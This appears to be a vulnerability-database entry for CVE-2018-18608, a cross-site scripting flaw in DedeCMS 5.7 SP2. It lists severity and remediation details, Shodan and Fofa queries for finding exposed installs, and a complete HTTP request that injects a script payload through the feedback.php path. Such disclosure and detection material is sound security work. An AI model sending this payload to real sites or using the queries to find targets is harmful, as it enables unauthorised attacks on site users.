| Title | DedeCMS 5.7 SP2 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07885 |
| CVE ID | CVE-2018-18608 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"DedeCms"cpe:"cpe:2.3:a:dedecms:dedecms"http.html:"dedecms" |
| Fofa Query | body="dedecms"app="dedecms" |
| Tags | cve2018 cve dedecms xss vuln |
DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.
GET /plus/feedback.php/rp4hu%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E?aid=3 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-18608.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-18608.pcap
N/AN/A